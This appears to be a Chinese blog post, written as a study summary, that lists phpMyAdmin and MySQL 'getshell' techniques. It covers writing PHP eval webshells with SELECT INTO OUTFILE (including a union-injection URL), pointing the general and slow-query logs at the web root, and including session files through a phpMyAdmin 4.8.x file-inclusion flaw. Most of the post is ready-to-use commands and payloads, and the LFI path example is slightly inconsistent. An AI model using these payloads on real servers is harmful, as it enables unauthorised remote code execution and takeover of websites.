0x00 前言
最近看的一篇文章中提到過phpmyadmin一些後臺getshell方式,就想着寫篇博客學習總結一下~~
0x01 getshell方法
一、select into outfile直接寫入
1.利用條件
- 對web目錄需要有寫權限能夠使用單引號
- 知道絕對路徑
- secure_file_priv沒有具體值
2.步驟
查看有沒有配置secure_file_priv
show global variables like '%secure%';
secure_file_priv
爲NULL,表示限制mysql不允許導入導出。沒有具體值時,表示不對mysqld 的導入導出做限制。
當知道路徑時(通過報錯獲取路徑/phpinfo),可以直接用
?id=1 union select "<?php @eval($_POST['quan']);?>" into outfile("G:/phpStudy/PHPTutorial/www/quan.php")
或者選擇一個數據庫如test
新創建一個表a
在a中插入<?php @eval($_POST['quan']);?>
然後select * from a into outfile 'G:/phpStudy/PHPTutorial/www/quan.php';
將a中的數據導出到文件quan.php
二、開啓全局日誌getshell
1.利用條件
必須是root權限
2.步驟
查看配置
show variables like '%general%';
開啓general log模式
set global general_log = on;
設置日誌目錄爲shell地址
set global general_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';
寫入shell
select '<?php eval($_POST[cmd]);?>'
文件內容如下,然後用菜刀連就好啦
三、使用慢查詢日誌getshell
1.慢查詢日誌
記錄所有執行時間超過long_query_time秒的所有查詢或者不使用索引的查詢。默認情況下,MySQL數據庫是不開啓慢查詢日誌的,long_query_time的默認值爲10(即10秒,通常設置爲1秒),即運行10秒以上的語句是慢查詢語句。
2.步驟
show variables like '%slow%';
修改日誌文件絕對路徑及文件名
set global slow_query_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';
啓用慢查詢日誌
set GLOBAL slow_query_log=on;
寫shell
select '<?php phpinfo();?>' from mysql.db where sleep(10);
四、利用phpmyadmin4.8.x本地文件包含漏洞getshell
通過包含sedsion文件的方法來getshell
1.步驟
select '<?php phpinfo()?>';
然後查看自己的sessionid
(cookie中phpMyAdmin的值)
對應的SESSION文件爲 /tmp/sess_sessionid
然後包含session文件
http://xxx/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/tmp/sessionid
0x02 參考
https://www.jianshu.com/p/ddd41b841c36